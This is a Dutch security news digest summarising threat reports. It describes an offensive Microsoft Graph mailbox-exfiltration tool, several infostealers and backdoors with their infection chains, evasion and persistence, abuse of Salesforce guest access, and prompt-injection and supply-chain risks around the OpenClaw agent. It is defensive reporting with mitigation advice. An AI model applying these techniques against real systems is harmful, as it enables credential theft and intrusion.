MailPwned biedt een WinForms interface voor interactie met Exchange Online. Na authenticatie kunnen operators alle tenant mailboxes inventariseren met behulp van User.Read.All, globale keyword searches uitvoeren in elke mailbox, en volledige HTML-rendered emails lezen met inline image support zonder externe requests bij het previewen van content. Bulk attachment downloads, email composition voor impersonatie aanvallen, en CSV export worden allemaal native ondersteund.

De tool omzeilt een Graph API beperking: /v1.0/search/querywithmessageentityType ondersteunt geen application permissions. MailPwned lost dit op door per-user mailbox enumeration uit te voeren, gevolgd door scoped per-mailbox searches. Deze techniek is functioneel en produceert een lagere audit footprint wanneer een UPN lijst vooraf is geladen vanuit OSINT.

Vereiste permissions zijn onder andere Mail.Read, User.Read.All, en optioneel Mail.ReadWrite voor send en delete operaties. Red team use cases zijn credential hunting (zoeken naar termen als password, VPN, secret), lateral phishing via thread hijacking, HR en investor intelligence gathering, en bulk attachment exfiltration.

SharePwned spiegelt MailPwned’s aanpak voor file storage omgevingen. Operators kunnen elke SharePoint site inventariseren binnen een tenant, document libraries browsen, en full-text file searches uitvoeren via /v1.0/search/querywithdriveItementity. Een fallback mode activeert per-drive search wanneer Sites.Read.All niet beschikbaar is, met behulp van Files.Read.All. File previews ondersteunen inline text extraction, en de tool bevat extension-aware icons en een real-time color-coded API log panel voor operational debugging.

Beide tools bevatten region selector support voor sovereign en GCC clouds in Europa, Noord-Amerika, Azië Pacific en daarbuiten, met behulp van de Prefer: exchange.region= header, waardoor correcte datacenter routing voor non-default tenants wordt verzekerd.

Vanuit een OPSEC perspectief routeren alle requests direct naar https://graph.microsoft.com, en Graph audit logs registreren toegang onder de identiteit van de geregistreerde applicatie. Security teams zouden Azure AD applicatie permissions moeten auditen, monitoren op afwijkende Mail.Read of Sites.Read.All application-level access, en consent grants bekijken voor non-user-interactive service principals.

De CLI versie van SharePwned, ontwikkeld door Ethical-Kaizoku, is afzonderlijk beschikbaar op GitHub.

Bron: OtterHacker | Bron 2: graph.microsoft.com | Bron 3: github.com

Er is een nieuwe Linux malware ontdekt, genaamd ClipXDaemon, die zich richt op cryptocurrency gebruikers in X11-gebaseerde desktopomgevingen. In tegenstelling tot traditionele malware, heeft ClipXDaemon geen command-and-control (C2) servers nodig. De malware monitort het klembord om de 200 milliseconden en vervangt legitieme wallet adressen door adressen die onder controle staan van de aanvallers.

ClipXDaemon werd begin februari 2026 ontdekt via een loader die eerder in verband werd gebracht met ShadowHS, een Linux dreiging die in januari 2026 werd gedocumenteerd. Beide campagnes gebruiken een staging wrapper gebouwd met bincrypter, een open-source shell-script encryptie framework. ClipXDaemon richt zich op Linux desktop gebruikers die cryptocurrency wallet adressen kopiëren en plakken.

Cyble-analisten hebben de malware geïdentificeerd en ClipXDaemon genoemd. De malware richt zich op acht cryptocurrency formaten: Bitcoin, Ethereum, Litecoin, Monero, Tron, Dogecoin, Ripple en TON. Wallet regex patronen en vervangingsadressen zijn versleuteld in de binary met behulp van ChaCha20 stream encryptie. Actieve vervangingswallets werden bevestigd voor zes assets tijdens dynamische analyse, terwijl TON en Ripple alleen werden gemonitord, zonder waargenomen vervangingsadressen. Ten tijde van de analyse werd de ELF payload niet gedetecteerd op VirusTotal.

ClipXDaemon vertoont geen enkele netwerkactiviteit. De binary bevat geen IP-adressen of domeinen en initieert geen DNS queries, HTTP verbindingen of socket communicatie. De malware vervangt stilletjes het gekopieerde wallet adres door een adres van de aanvaller voordat de transactie wordt bevestigd.

ClipXDaemon komt binnen via een infectieketen in drie stappen. Het proces begint met een bincrypter-gegenereerde encrypted loader, die een gecodeerde payload inline opslaat, decodeert en decrypt via AES-256-CBC. Vervolgens wordt het gedecomprimeerd via gzip en voert het de tussenliggende dropper direct uit via een /proc/self/fd file descriptor. De dropper decodeert een embedded 64-bit ELF binary en schrijft deze naar een willekeurige bestandsnaam onder ~/.local/bin/. Vervolgens wordt de uitvoering van de payload toegevoegd aan ~/.profile, waardoor login-geactiveerde persistentie ontstaat zonder root access, cron jobs of systeem services.

Eenmaal actief controleert de payload of de Wayland display server aanwezig is en sluit onmiddellijk af indien gedetecteerd. Met X11 bevestigd, voert het een double-fork daemonization sequence uit en hernoemt zijn proces naar tokworker/0:2-events met behulp van prctl(PR_SET_NAME). Vervolgens wordt het klembord om de 200 milliseconden gepolld.

Linux en cryptocurrency gebruikers wordt aangeraden om over te stappen van X11 naar Wayland. Systeembeheerders wordt aangeraden om wijzigingen in ~/.profile en ~/.bashrc te controleren, nieuwe executables in ~/.local/bin/ te markeren en elk achtergrondproces met een kernel-thread naam te onderzoeken dat onder een non-root user account draait. Gebruikers dienen handmatig elk wallet adres te verifiëren alvorens een cryptocurrency overdracht te bevestigen en hardware wallets te overwegen die ontvanger adressen onafhankelijk van het host systeem weergeven.

Bron: Cyble

Microsoft heeft gewaarschuwd voor een golf van valse AI-browser-extensies die meer dan 20.000 bedrijfsomgevingen hebben geïnfiltreerd. Deze kwaadaardige Chromium-gebaseerde extensies deden zich voor als legitieme AI-assistenten en werden bijna 900.000 keer geïnstalleerd voordat de dreiging aan het licht kwam. Ze verzamelden op de achtergrond gevoelige data.

De extensies waren gericht op gebruikers van populaire AI-platforms zoals ChatGPT en DeepSeek, en verzamelden volledige conversatiegeschiedenissen, bezochte URL's en browsing telemetry direct vanuit actieve browsersessies. Werknemers deelden via deze platforms interne code, strategische plannen en bedrijfseigen workflows, die stilletjes werden vastgelegd en klaargezet voor verzending naar door aanvallers gecontroleerde servers.

Microsoft Defender-analisten identificeerden de campagne nadat telemetriegegevens ongebruikelijke uitgaande verbindingen signaleerden die waren gekoppeld aan geïnstalleerde browser-extensies. De onderzoekers ontdekten dat de dreigingsactoren legitieme extensies, waaronder een tool genaamd AITOPIA, hadden bestudeerd en de branding, toestemmingsprompts en gebruikersinterface-elementen hadden gekopieerd.

De extensies werden verspreid via de Chrome Web Store. Omdat Microsoft Edge ook Chromium-gebaseerde extensies uit deze store ondersteunt, kon één listing gebruikers van beide browsers bereiken. In sommige gevallen downloaden agentic browsers deze extensies automatisch zonder gebruikersbevestiging.

De verzamelde data omvatte interne applicatie-URL's, AI-chat transcripts, modelnamen en persistente sessie-identifiers. Eenmaal geïnstalleerd, activeerde de extensie een achtergrondscript dat bezochte URL's en AI-chat content begon te loggen. Het Chromium-toestemmingsmodel gaf het toegang tot vrijwel elke pagina die in de browser werd geopend, inclusief interne bedrijfssites en AI-chatsessies.

Data werd lokaal opgeslagen in Base64-gecodeerde JSON-format en met tussenpozen verzonden via HTTPS POST-verzoeken naar door aanvallers gecontroleerde domeinen, waaronder deepaichats[.]com en chatsaigpt[.]com. De extensie verwijderde na succesvolle verzending de lokale buffers om sporen van activiteit te beperken. Een ingebouwd mechanisme schakelde datacollectie automatisch opnieuw in na elke update, ongeacht de eerder geconfigureerde toestemmingsinstellingen.

Organisaties wordt aangeraden om alle browser-extensies te controleren, onbekende extensies te verwijderen en uitgaand POST-verkeer naar de bekende kwaadaardige domeinen te monitoren, waaronder *.chatsaigpt.com, *.deepaichats.com, *.chataigpt.pro en *.chatgptsidebar.pro. Het afdwingen van allowlisting policies en het inschakelen van netwerkbescherming wordt eveneens aangeraden.

Bron: Microsoft

AI-gebaseerde assistenten, of "agents", zijn autonome programma's die toegang hebben tot de computer, bestanden en online services van de gebruiker en vrijwel elke taak kunnen automatiseren. Deze tools winnen aan populariteit bij ontwikkelaars en IT-medewerkers. Deze krachtige tools verschuiven de securityprioriteiten voor organisaties en vervagen de grenzen tussen data en code, vertrouwde collega's en insider threats, ninja hackers en beginnende codeerders.

Een nieuwe AI-assistent, OpenClaw (voorheen bekend als ClawdBot en Moltbot), heeft sinds de release in november 2025 een snelle opmars gemaakt. OpenClaw is een open-source autonome AI-agent die lokaal op de computer draait en proactief acties onderneemt zonder dat de gebruiker een opdracht hoeft te geven. OpenClaw is het meest effectief wanneer het volledige toegang heeft tot iemands digitale leven, waardoor het de inbox en agenda kan beheren, programma's en tools kan uitvoeren, op internet naar informatie kan zoeken en kan integreren met chat-apps zoals Discord, Signal, Teams of WhatsApp. Andere AI-assistenten zoals Claude van Anthropic en Copilot van Microsoft kunnen deze taken ook uitvoeren, maar OpenClaw is niet alleen een passieve digitale butler die op commando's wacht. Het is ontworpen om zelf initiatief te nemen op basis van wat het weet over iemands leven en het begrip van wat de gebruiker gedaan wil hebben.

Het AI-securitybedrijf Snyk merkte op dat ontwikkelaars websites bouwen vanaf hun telefoon terwijl ze baby's in slaap wiegen, gebruikers hele bedrijven runnen via een AI met een kreeft-thema, en engineers autonome code-loops hebben opgezet die tests repareren, fouten vastleggen via webhooks en pull-verzoeken openen, allemaal terwijl ze niet achter hun bureau zitten.

In februari vertelde Summer Yue, de directeur van safety and alignment bij Meta's "superintelligence" lab, op Twitter/X dat OpenClaw plotseling berichten in haar e-mailinbox begon te verwijderen. Yue moest naar haar Mac mini rennen om het proces te stoppen.

Jamieson O'Reilly, een penetration tester en oprichter van DVULN, waarschuwde dat het blootstellen van een verkeerd geconfigureerde OpenClaw webinterface aan het internet externe partijen in staat stelt om het volledige configuratiebestand van de bot te lezen, inclusief alle credentials die de agent gebruikt. Met die toegang kan een aanvaller de operator nadoen, berichten in lopende gesprekken injecteren en data exfiltreren via de bestaande integraties van de agent op een manier die eruitziet als normaal verkeer. Een zoekopdracht onthulde honderden van dergelijke servers die online waren blootgesteld.

O'Reilly documenteerde een experiment dat aantoonde hoe gemakkelijk het is om een supply chain aanval te creëren via ClawHub, een openbare repository van downloadbare "skills" waarmee OpenClaw kan integreren met en controle kan uitoefenen op andere applicaties. Een recente supply chain aanval gericht op een AI coding assistent genaamd Cline begon met een prompt injection aanval, wat resulteerde in duizenden systemen met een rogue instance van OpenClaw met volledige systeemtoegang geïnstalleerd op hun device zonder toestemming.

Bron: snyk.io | Bron 2: moltbook.com | Bron 3: grith.ai

Hackers gebruiken een overtuigende valse website die zich voordoet als de populaire Mac-utility CleanMyMac om gevaarlijke macOS malware, genaamd SHub Stealer, te verspreiden onder nietsvermoedende gebruikers. De site, gehost op cleanmymacos[.]org, heeft geen connectie met de echte CleanMyMac software of de ontwikkelaars, MacPaw.

Eenmaal binnen een systeem oogst SHub Stealer opgeslagen wachtwoorden, browserdata, Apple Keychain inhoud, cryptocurrency walletbestanden en Telegram sessiedata. De aanval maakt gebruik van ClickFix, een methode die bezoekers misleidt om Terminal te openen en een ogenschijnlijk onschuldig installatiecommando te plakken. Dit commando doet drie dingen: het print een valse MacPaw link om legitiem te lijken, decodeert een verborgen base64 URL om de ware bestemming te maskeren, en downloadt en voert vervolgens een kwaadaardig shell script uit vanaf de server van de aanvaller. Omdat de gebruiker het commando zelf uitvoert, bieden macOS verdedigingen zoals Gatekeeper, XProtect en notarisatiechecks weinig bescherming.

Malwarebytes onderzoekers identificeerden de campagne en analyseerden de complete aanvalsketen, waarbij ze opmerkten dat SHub behoort tot een groeiende familie van AppleScript-gebaseerde macOS infostealers, waaronder MacSync Stealer en Odyssey Stealer. Malwarebytes ontdekte ook dat SHub aanzienlijk verder gaat dan zijn verwanten, met per-slachtoffer tracking identifiers, geofencing logica en een mogelijkheid om permanent backdoors te installeren in geïnstalleerde cryptocurrency wallet applicaties.

Voordat de main payload wordt gelanceerd, controleert een loader script of een Russisch-talig toetsenbord is geïnstalleerd. Zo ja, dan signaleert het de server van de aanvaller met acis_blockedevent en sluit het af zonder data te verzamelen. Dit geofencing gedrag komt vaak voor in malware die is gekoppeld aan Russisch-sprekende criminele netwerken, die het infecteren van machines in Commonwealth of Independent States landen vermijden om de aandacht van lokale wetshandhaving te verminderen. Machines die deze check doorstaan, hebben hun IP, macOS versie en hostname verzonden naar de command-and-control server op res2erch-sl0ut[.]com.

Wat SHub uniek gevaarlijk maakt, is wat het doet na het voltooien van de initiële diefstal. Als het bepaalde cryptocurrency wallet apps detecteert op de gecompromitteerde machine, vervangt het stilletjes het core logic bestand van elke app met een backdoored versie die er normaal uitziet en werkt, maar op de achtergrond credentials exfiltreert. De vijf bevestigde doelwitten zijn Exodus, Atomic Wallet, Ledger Wallet, Ledger Live en Trezor Suite — allemaal gebouwd op Electron, een desktop framework waarbij het gedrag van de app zich bevindt in een bestand genaamd app.asar. SHub beëindigt de draaiende wallet, downloadt een gemodificeerde app.asar van zijn C2 server, overschrijft het origineel, verwijdert de code signature en re-signed de app zodat macOS het accepteert.

Exodus en Atomic Wallet zijn geconfigureerd om stilletjes het wachtwoord en de seed phrase van de gebruiker te verzenden naar wallets-gate[.]io/api/injection elke keer dat de wallet wordt ontgrendeld. Ledger Wallet en Ledger Live hebben TLS validatie uitgeschakeld bij het opstarten en tonen een valse recovery wizard die de seed phrase verzamelt voordat het naar hetzelfde endpoint wordt verzonden. Trezor Suite ontvangt een full-screen overlay gestyled om overeen te komen met zijn echte interface, die een valse security update presenteert die vraagt om de seed phrase, valideert het met behulp van de eigen BIP39 library van de app, en stuurt het uit. Alle vijf backdoored apps exfiltreren naar hetzelfde wallets-gate[.]io endpoint met behulp van dezelfde API key en build ID, wat wijst op een enkele operator.

Voor lange termijn toegang installeert SHub een background task genaamd com.google.keystone.agent.plist in ~/Library/LaunchAgents/, die Google’s Keystone updater nabootst, en voert het elke zestig seconden uit om remote commands uit te voeren.

Als je het Terminal commando vanaf cleanmymacos[.]org hebt uitgevoerd, onderneem dan nu actie: voer het commando niet uit als je dat nog niet hebt gedaan, en sluit de pagina onmiddellijk. Navigeer naar ~/Library/LaunchAgents/ en verwijder com.google.keystone.agent.plist indien aanwezig. Controleer ~/Library/Application Support/Google/ en verwijder de GoogleUpdate.app folder indien gevonden. Als een van de vijf beoogde wallet apps was geïnstalleerd toen het commando werd uitgevoerd, behandel je seed phrase als volledig blootgesteld en verplaats fondsen naar een nieuwe wallet op een schoon apparaat, aangezien seed phrases niet kunnen worden gewijzigd. Wijzig je macOS login wachtwoord en alle Keychain-opgeslagen credentials vanaf een vertrouwd apparaat. Herroep en regenereer alle API keys of SSH keys gevonden in je shell history bestanden.

Bron: Malwarebytes

Een geavanceerde campagne voor het stelen van inloggegevens, gebouwd rond een tool genaamd VIP Keylogger, vormt een serieuze bedreiging voor organisaties en individuen. In tegenstelling tot conventionele malware die bestanden op de harde schijf van een slachtoffer plaatst, draait deze keylogger volledig in het geheugen, waardoor het veel moeilijker wordt voor traditionele beveiligingstools om deze te detecteren.

De campagne werd voor het eerst opgemerkt door verdachte e-mailactiviteit op VirusTotal, waar een misleidend bericht ontvangers aanzette tot het openen van wat een standaard order leek. Die bijlage was in feite een RAR-bestand met een kwaadaardig uitvoerbaar bestand genaamd ÜRÜN ÇİZİMİ VE TEKNİK ÖZELLİKLERİ_xlsx.exe, dat stilletjes VIP Keylogger uitpakte en rechtstreeks in het geheugen uitvoerde zonder de schijf aan te raken.

Wat deze campagne alarmerender maakt, is de schaal ervan. Er werden meerdere gevallen gevonden waarbij slachtoffers in verschillende landen werden aangevallen, waarbij aanvallers alleen de verpakkingsstijl aanpasten en kleine wijzigingen aanbrachten in de uitvoeringsstroom. De kernpayload bleef echter consistent. Deze flexibiliteit wijst op een goed georganiseerde operatie die snel kan worden opgeschaald met behoud van hetzelfde primaire doel: het massaal stelen van inloggegevens.

K7 Security Labs-analisten identificeerden deze campagne tijdens het onderzoeken van activiteit op VirusTotal en merkten op dat de uiteindelijke payload wordt geleverd in een vroege ontwikkelingsfase of als een configureerbaar Malware-as-a-Service-product. Belangrijke mogelijkheden zoals AntiVM, ProcessKiller en DownloaderFile waren uitgeschakeld of ingesteld op NULL tijdens de analyse, wat suggereert dat klanten alleen de functies ontvangen waarvoor ze betalen. Dit modulaire ontwerp maakt de tool toegankelijk voor dreigingsactoren met beperkte technische vaardigheden.

Eenmaal actief, verzamelt VIP Keylogger gevoelige gegevens van een geïnfecteerde machine. Het richt zich op tientallen Chromium-gebaseerde browsers, waaronder Chrome, Brave, Edge en Opera, evenals Firefox-gebaseerde browsers zoals Firefox, Thunderbird en Waterfox, waarbij cookies, inloggegevens, creditcardinformatie en browsegeschiedenis worden verzameld. E-mailclients zoals Outlook, Foxmail, ThunderBird en Postbox worden ook gecompromitteerd, waarbij POP3-, IMAP-, SMTP- en HTTP-wachtwoorden worden buitgemaakt. Platforms zoals Discord, FileZilla en Pidgin verliezen ook accounttokens en serverdetails. Alle gestolen data verlaat het systeem via een van de vijf kanalen: FTP, SMTP, Telegram, HTTP POST of Discord. Het geanalyseerde sample gebruikte SMTP om informatie door te geven via een dedicated server op poort 587.

De infectie volgt twee afzonderlijke paden, beide ontworpen om onopgemerkt beveiligingstools te passeren. In de eerste methode is het kwaadaardige bestand een .NET PE-uitvoerbaar bestand dat twee DLL's in zijn resource-sectie verbergt met behulp van steganografie - een techniek die code verbergt in schijnbaar onschuldige bestanden. De eerste DLL, Turboboost.dll, extraheert de tweede, Vertical bars.dll, die de uiteindelijke VIP Keylogger-payload bevat die is verborgen in een PNG-afbeelding, eveneens via steganografie. Die payload wordt opgehaald uit de afbeelding en ingezet via process hollowing, waarbij het hostproces in een opgeschorte toestand wordt gestart en het geheugen wordt vervangen door de kwaadaardige code voordat de uitvoering begint.

In de tweede methode slaat een standaard PE-bestand AES-gecodeerde bytes op in zijn .data-sectie. Na het decoderen ervan in het geheugen, patcht de malware AMSI - een Windows-interface die scant op verdachte scripts - en ETW, een loggingsysteem waarop beveiligingsproducten vertrouwen. Met beide verdedigingen uitgeschakeld, laadt VIP Keylogger netjes via de Common Language Runtime. Beide paden delen één doel: de payload uitvoeren zonder de schijf aan te raken en bijna geen spoor achter te laten.

Organisaties wordt aangeraden om te vermijden e-mailbijlagen van onbekende afzenders te openen, vooral gecomprimeerde bestanden zoals RAR- of ZIP-archieven. Beveiligingsteams moeten endpointoplossingen implementeren die in staat zijn om in-memory bedreigingen en process hollowing-gedrag te identificeren. Het wordt ten zeerste aangeraden om browsers en applicaties up-to-date te houden om het aanvalsoppervlak dat VIP Keylogger actief exploiteert te verkleinen.

Bron: K7 Security Labs

Salesforce waarschuwt klanten voor hackers die websites aanvallen met verkeerd geconfigureerde Experience Cloud platforms. Deze misconfiguraties geven gastgebruikers toegang tot meer data dan bedoeld. De ShinyHunters extortion groep claimt actief een nieuwe bug te exploiteren om data van instances te stelen.

Salesforce heeft een handleiding gedeeld voor klanten om zich te verdedigen tegen aanvallen op het /s/sfsites/aura API endpoint. Het bedrijf stelt dat aanvallers een aangepaste versie van AuraInspector gebruiken, een open-source auditing tool van Mandiant, om access control misconfiguraties binnen het Salesforce Aura framework te identificeren.

Salesforce benadrukt dat het platform zelf veilig is en dat het probleem voortkomt uit een verkeerd geconfigureerde gastgebruiker instelling. Een publiek toegankelijke Salesforce Experience site accepteert een "guest user profile" om anonieme bezoekers toegang te geven tot openbare data. Als dit profiel verkeerd is geconfigureerd en te veel permissies heeft, kunnen bezoekers direct Salesforce CRM objecten bevragen zonder in te loggen.

Om zich te verdedigen, adviseert Salesforce om guest user permissies te auditen en het principe van "least privilege" toe te passen. De belangrijkste maatregel is het uitschakelen van guest access tot publieke API's en het verwijderen van de "API Enabled" instelling van het guest profile.

Salesforce adviseert de volgende stappen:

* Audit guest user permissies en reduceer ze tot het minimum.

* Stel org-wide defaults in op Private voor externe toegang.

* Schakel Portal User Visibility en Site User Visibility uit zodat gastgebruikers geen interne gebruikers kunnen inventariseren.

* Schakel self-registration uit, tenzij noodzakelijk, omdat blootgestelde guest data kan worden gebruikt om portal accounts aan te maken en toegang uit te breiden.

* Controleer Aura Event Monitoring logs op ongebruikelijke toegangspatronen, onbekende IP-adressen, of queries tegen objecten die niet publiek zouden moeten zijn.

* Wijs een Security Contact aan zodat Salesforce snel de juiste persoon kan bereiken.

ShinyHunters heeft de verantwoordelijkheid voor de datadiefstal aanvallen op Salesforce Aura/Experience Cloud opgeëist. Mandiant Consulting bevestigde dat hackers AuraInspector misbruiken om bedrijven te hacken.

Charles Carmakal, Mandiant CTO, zegt dat ze samenwerken met Salesforce en klanten om de nodige telemetrie en detectieregels te leveren om potentiële risico's te beperken. Het detecteren van scanning activiteit in de logs van een organisatie betekent niet per se dat er een compromis is.

ShinyHunters claimt ongeveer 100 high-profile bedrijven te hebben gecompromitteerd, waarvan vele in de cybersecurity sector. Het totale aantal gecompromitteerde organisaties ligt tussen de 300 en 400.

De hackers vertelden dat ze in september 2025 begonnen met het compromitteren van bedrijven met onveilige Experience Cloud access control configuraties voor gastgebruikers. Ze identificeerden Aura instances door het internet te scannen op het /s/sfsites/ endpoint.

Vanwege een limitatie van Salesforce, konden ze slechts 2.000 records tegelijk bevragen via de GraphQL API, wat de data diefstal vertraagde. Echter, ze ontdekten de sortBy parameter, waarmee ze deze restrictie konden omzeilen. Na de release van AuraInspector in januari, paste ShinyHunters de code aan voor extra reconnaissance.

De threat actors creëerden hun eigen tool om data te stelen, die de volgende string gebruikt als onderdeel van de user agent: Anthropic/RapeForceV2.01.39 (AGENTIC). Deze tool heeft een vergelijkbare naam als de "RapeFlake" tool die gebruikt werd tijdens de SnowFlake data diefstal aanvallen.

ShinyHunters claimt dat ze, nadat Salesforce de sortBy trick had gefixt, een nieuwe methode ontdekten om de 2.000 record query restrictie te omzeilen, en deze discreet hebben geëxploiteerd. De threat actor claimt dat Salesforce de methode om de 2.000-record limiet te omzeilen in het weekend voor de release van het advies heeft gefixt, maar zegt dat ze sindsdien een kwetsbaarheid hebben ontdekt die data diefstal van Aura instances mogelijk maakt, zelfs wanneer ze correct zijn geconfigureerd.

Bron: Salesforce | Bron 2: hubs.li

Hackers hebben medewerkers van financiële en gezondheidszorgorganisaties via Microsoft Teams benaderd om hen over te halen tot het verlenen van toegang op afstand via Quick Assist, waarna ze een nieuwe malware genaamd A0Backdoor installeerden. De aanvallers maken gebruik van social engineering om het vertrouwen van de medewerker te winnen. Eerst overspoelen ze de inbox van het slachtoffer met spam en vervolgens nemen ze contact op via Teams, waarbij ze zich voordoen als de IT-afdeling van het bedrijf en hulp aanbieden bij de ongewenste berichten.

Om toegang te krijgen tot de doelmachine, instrueert de dreigingsactor de gebruiker om een Quick Assist-sessie te starten. Deze sessie wordt gebruikt om een reeks kwaadaardige tools te installeren, waaronder digitaal ondertekende MSI-installatiebestanden die worden gehost in een persoonlijke Microsoft cloudopslagaccount. Volgens onderzoekers van cybersecuritybedrijf BlueVoyant vermommen de kwaadaardige MSI-bestanden zich als Microsoft Teams-componenten en de CrossDeviceService, een legitieme Windows tool die wordt gebruikt door de Phone Link-app.

Met behulp van DLL sideloading met legitieme Microsoft-binaries implementeert de aanvaller een kwaadaardige bibliotheek (hostfxr.dll) die gecomprimeerde of gecodeerde gegevens bevat. Eenmaal in het geheugen geladen, decodeert de bibliotheek de gegevens naar shellcode en draagt de uitvoering eraan over. De onderzoekers zeggen dat de kwaadaardige bibliotheek ook de CreateThread-functie gebruikt om analyse te voorkomen. BlueVoyant legt uit dat de overmatige threadcreatie een debugger kan laten crashen, maar dat dit geen significant effect heeft bij normale uitvoering.

De shellcode voert sandboxdetectie uit en genereert vervolgens een SHA-256-afgeleide sleutel, die wordt gebruikt om de A0Backdoor te extraheren. Deze is gecodeerd met het AES-algoritme. De malware verplaatst zichzelf naar een nieuw geheugengebied, decodeert zijn kernroutines en gebruikt Windows API-aanroepen (zoals DeviceIoControl, GetUserNameExW en GetComputerNameW) om informatie over de host te verzamelen en deze te fingerprinten.

Communicatie met de command-and-control (C2) server is verborgen in DNS-verkeer. De malware verzendt DNS MX-queries met gecodeerde metadata in subdomeinen met hoge entropie naar openbare recursieve resolvers. De DNS-servers reageren met MX-records die gecodeerde commando's bevatten.

BlueVoyant legt uit: "De malware extraheert en decodeert het meest linkse label om commando- of configuratiegegevens te herstellen, en gaat vervolgens dienovereenkomstig te werk. Het gebruik van DNS MX-records helpt het verkeer te mengen en kan controles ontwijken die zijn afgestemd op het detecteren van TXT-gebaseerde DNS-tunneling, die mogelijk vaker wordt gecontroleerd."

BlueVoyant stelt dat twee van de doelwitten van deze campagne een financiële instelling in Canada en een wereldwijde gezondheidszorgorganisatie zijn. De onderzoekers schatten met een redelijk tot hoge mate van zekerheid in dat de campagne een evolutie is van tactieken, technieken en procedures die worden geassocieerd met de BlackBasta ransomwarebende, die is ontbonden nadat de interne chatlogs van de operatie waren gelekt. Hoewel er veel overeenkomsten zijn, merkt BlueVoyant op dat het gebruik van ondertekende MSI's en kwaadaardige DLL's, de A0Backdoor-payload en het gebruik van DNS MX-gebaseerde C2-communicatie nieuwe elementen zijn.

Bron: BlueVoyant | Bron 2: hubs.li

Cybersecurity-onderzoekers hebben een malafide npm-package ontdekt dat zich voordoet als een OpenClaw-installer om een remote access trojan (RAT) te installeren en gevoelige data te stelen van geïnfecteerde hosts.

Het package, genaamd "@openclaw-ai/openclawai," werd op 3 maart 2026 door een gebruiker genaamd "openclaw-ai" naar het registry geüpload. Het is tot nu toe 178 keer gedownload. De library is nog steeds beschikbaar om te downloaden.

JFrog, dat het package ontdekte, meldt dat het ontworpen is om systeemcredentials, browserdata, crypto wallets, SSH-keys, Apple Keychain databases en iMessage geschiedenis te stelen, evenals een persistente RAT te installeren met remote access mogelijkheden, SOCKS5 proxy en live browser session cloning.

"De aanval is opmerkelijk vanwege zijn brede dataverzameling, het gebruik van social engineering om het systeemwachtwoord van het slachtoffer te achterhalen, en de geavanceerdheid van zijn persistentie en C2 [command-and-control] infrastructuur," aldus security researcher Meitar Palassaid. "Intern identificeert de malware zichzelf als GhostLoader."

De malafide code wordt getriggerd door middel van een postinstall hook, die het package opnieuw installeert op globaal niveau met het commando: "npm i -g @openclaw-ai/openclawai." Zodra de installatie voltooid is, verwijst de OpenClaw binary naar "scripts/setup.js" door middel van de "bin" property in het "package.json" bestand.

Het is belangrijk op te merken dat het "bin" veld wordt gebruikt om uitvoerbare bestanden te definiëren die aan de PATH van de gebruiker moeten worden toegevoegd tijdens de package installatie. Dit maakt van het package een globaal toegankelijke command-line tool.

Het bestand "setup.js" dient als de first-stage dropper die, na het uitvoeren, een overtuigende fake command-line interface toont met geanimeerde progress bars om de indruk te wekken dat OpenClaw op de host wordt geïnstalleerd. Nadat de vermeende installatiestap is voltooid, toont het script een valse iCloud Keychain autorisatie prompt, waarin gebruikers wordt gevraagd hun systeemwachtwoord in te voeren.

Tegelijkertijd haalt het script een encrypted second-stage JavaScript payload op van de C2 server ("trackpipe[.]dev"), die vervolgens wordt gedecodeerd, naar een tijdelijk bestand geschreven en als een detached child process gestart om op de achtergrond te blijven draaien. Het tijdelijke bestand wordt na 60 seconden verwijderd om sporen van de activiteit te verbergen.

"Als de Safari directory niet toegankelijk is (geen Full Disk Access), toont het script een AppleScript dialoogvenster waarin de gebruiker wordt aangespoord om FDA aan Terminal te verlenen, compleet met stapsgewijze instructies en een knop die direct Systeemvoorkeuren opent," legde JFrog uit. "Dit stelt de second-stage payload in staat om Apple Notes, iMessage geschiedenis, Safari geschiedenis en Mail data te stelen."

De JavaScript second-stage, met ongeveer 11.700 regels code, is een volwaardige informatie stealer en RAT framework dat in staat is tot persistentie, dataverzameling, browser decryptie, C2 communicatie, een SOCKS5 proxy en live browser cloning. Het is ook uitgerust om een breed scala aan data te stelen:

*   macOS Keychain, inclusief zowel de local login.keychain-db als alle iCloud Keychain databases

*   Credentials, cookies, credit cards en autofill data van alle Chromium-based browsers, zoals Google Chrome, Microsoft Edge, Brave, Vivaldi, Opera, Yandex en Comet

*   Data van desktop wallet applicaties en browser extensions

*   Cryptocurrency wallet seed phrases

*   Developer en cloud credentials voor AWS, Microsoft Azure, Google Cloud, Kubernetes, Docker en GitHub

*   Artificial intelligence (AI) agent configuraties, en

*   Data beschermd door de FDA, inclusief Apple Notes, iMessage geschiedenis, Safari browsing geschiedenis, Mail account configuraties en Apple account informatie

In de laatste fase wordt de verzamelde data gecomprimeerd in een tar.gz archief en geëxfiltreerd via meerdere kanalen, waaronder direct naar de C2 server, Telegram Bot API en GoFile.io.

Bovendien gaat de malware in een persistent daemon mode die het in staat stelt om clipboard content elke drie seconden te monitoren en alle data te verzenden die overeenkomt met een van de negen vooraf gedefinieerde patronen die overeenkomen met private keys, WIF key, SOL private key, RSA private key, BTC address, Ethereum address, AWS key, OpenAI key en Strike key.

Andere functies omvatten het in de gaten houden van draaiende processen, het scannen van inkomende iMessage chats in real-time, en het uitvoeren van commando's die vanaf de C2 server worden verzonden om willekeurige shell commando's uit te voeren, een URL te openen in de standaardbrowser van het slachtoffer, extra payloads te downloaden, bestanden te uploaden, een SOCKS5 proxy te starten/stoppen, beschikbare browsers weer te geven, een browser profiel te klonen en in headless mode te starten, de browser clone te stoppen, zichzelf te vernietigen en zichzelf te updaten.

De browser cloning functie is bijzonder gevaarlijk omdat het een headless Chromium instance start met het bestaande browser profiel dat cookies, login en history data bevat. Dit geeft de aanvaller een volledig geauthenticeerde browser sessie zonder de noodzaak van toegang tot credentials.

"Het @openclaw-ai/openclawai package combineert social engineering, encrypted payload delivery, brede dataverzameling en een persistente RAT in een enkel npm package," aldus JFrog.

"De gepolijste fake CLI installer en Keychain prompt zijn overtuigend genoeg om systeemwachtwoorden te ontfutselen aan voorzichtige ontwikkelaars, en eenmaal vastgelegd, ontgrendelen die credentials macOS Keychain decryptie en browser credential extractie die anders zouden worden geblokkeerd door OS-level protecties."

Bron: JFrog | Bron 2: thn.news

Een nieuwe data-steelware, genaamd BoryptGrab, verspreidt zich via een netwerk van valse GitHub-repositories over Windows-systemen. De malware misleidt gebruikers om gratis software te downloaden. De campagne is actief sinds april 2025 en gebruikt zoekmachine-optimalisatie om de kwaadaardige repositories legitiem te laten lijken. Hierdoor worden nietsvermoedende slachtoffers naar een infectieketen gelokt, waarbij gevoelige data naar de aanvaller wordt gestuurd.

